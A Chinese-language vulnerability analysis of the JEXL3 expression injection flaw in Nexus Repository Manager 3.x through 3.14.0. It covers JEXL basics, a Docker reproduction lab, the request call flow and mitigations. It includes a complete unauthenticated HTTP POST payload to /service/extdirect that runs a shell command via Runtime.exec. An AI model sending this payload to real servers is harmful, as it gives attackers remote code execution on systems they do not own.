Nexus Repository Manager3 JEXL3表达式注入浅析
字数 1073 2025-08-22 12:23:47
Nexus Repository Manager 3 JEXL3表达式注入漏洞分析与利用
漏洞概述
Sonatype Nexus Repository Manager 3存在一个JEXL3表达式注入漏洞,允许攻击者在未授权情况下通过发送精心构造的恶意JSON数据实现远程代码执行(RCE)。
影响版本
- 受影响版本:Nexus Repository Manager OSS/Pro 3.x - 3.14.0
- 修复版本:Nexus Repository Manager OSS/Pro 3.15.0
JEXL表达式基础
JEXL(Java EXpression Language)是一种简单的表达式语言,基于JSTL表达式语言扩展实现。
JEXL3基本使用示例
- 添加Maven依赖:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-jexl3</artifactId>
<version>3.0</version>
</dependency>
- 基本使用步骤:
// 创建JexlEngine
JexlEngine jexl = new JexlBuilder().create();
// 创建表达式
String jexlExp = "car.engine.checkStatus()";
Expression e = jexl.createExpression(jexlExp);
// 创建上下文并添加数据
JexlContext jc = new MapContext();
jc.set("car", car);
// 执行表达式
Object o = e.evaluate(jc);
- 完整示例代码:
public class TestCase {
public static void main(String[] args) {
JexlEngine jexl = new JexlBuilder().create();
JexlContext jc = new MapContext();
Foo foo = new Foo();
Integer number = new Integer(9999);
jc.set("foo", foo);
jc.set("number", number);
// 调用无参数方法
JexlExpression e = jexl.createExpression("foo.getFoo()");
Object o = e.evaluate(jc);
System.out.println("value returned by the method getFoo() is : " + o);
// 调用带参数方法
e = jexl.createExpression("foo.convert(1)");
o = e.evaluate(jc);
System.out.println("value of " + e.getParsedText() + " is : " + o);
// 使用上下文变量
e = jexl.createExpression("foo.convert(number)");
o = e.evaluate(jc);
System.out.println("value of " + e.getParsedText() + " is : " + o);
// 调用get方法
e = jexl.createExpression("foo.bar");
o = e.evaluate(jc);
System.out.println("value returned for the property 'bar' is : " + o);
}
public static class Foo {
public String getFoo() { return "This is from getFoo()"; }
public String get(String arg) { return "This is the property " + arg; }
public String convert(long i) { return "The value is : " + i; }
}
}
漏洞利用原理
通过构造恶意的JEXL表达式,可以实现任意命令执行:
String Exp = "233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/rai4over')";
JexlEngine engine = new JexlBuilder().create();
JexlExpression Expression = engine.createExpression(Exp);
JexlContext Context = new MapContext();
Object rs = Expression.evaluate(Context);
JEXL3解析执行流程
- 创建JexlEngine对象:
new JexlBuilder().create() - 创建表达式对象:
engine.createExpression(Exp) - 解析表达式:
- 调用
Engine.parse()方法 - 使用
Parser.parse()进行语法解析 - 构建AST(抽象语法树)节点
- 调用
- 执行表达式:
- 创建上下文环境
- 通过
Interpreter.interpret()解析执行AST节点 - 最终通过反射机制执行命令
漏洞复现环境搭建
- 拉取Nexus3 Docker镜像:
docker pull sonatype/nexus3:3.14.0
- 运行容器(带调试参数):
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus \
-v /path/to/nexus-data:/nexus-data \
-e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g \
-Djava.util.prefs.userRoot=/nexus-data \
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" \
sonatype/nexus3:3.14.0
- 下载源码并切换到对应分支:
git clone https://github.com/sonatype/nexus-public.git
git checkout -b release-3.14.0-04 remotes/origin/release-3.14.0-04
漏洞利用
漏洞请求路径
/service/extdirect
漏洞利用Payload
POST /service/extdirect HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 825
{
"action": "coreui_Component",
"method": "previewAssets",
"data": [{
"page": 1,
"start": 0,
"limit": 50,
"sort": [{
"property": "name",
"direction": "ASC"
}],
"filter": [{
"property": "repositoryName",
"value": "*"
}, {
"property": "expression",
"value": "233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/rai4over')"
}, {
"property": "type",
"value": "jexl"
}]
}],
"type": "rpc",
"tid": 8
}
漏洞分析
漏洞位置
plugins/nexus-coreui-plugin/src/main/java/org/sonatype/nexus/coreui/ComponentComponent.groovy接口未进行权限验证
调用流程
- 请求首先经过
DelegatingFilter处理 - 进入
DirectJNgineServlet的doPost方法 - 通过
JsonRequestProcessor处理JSON请求 - 最终执行到存在漏洞的
previewAssets方法
关键点
- 接口未授权访问
- 直接使用用户输入的表达式内容进行JEXL解析
- 通过反射机制执行任意Java代码
防御措施
- 升级到修复版本3.15.0或更高
- 对用户输入进行严格过滤和验证
- 限制JEXL表达式的执行权限
- 实施最小权限原则运行服务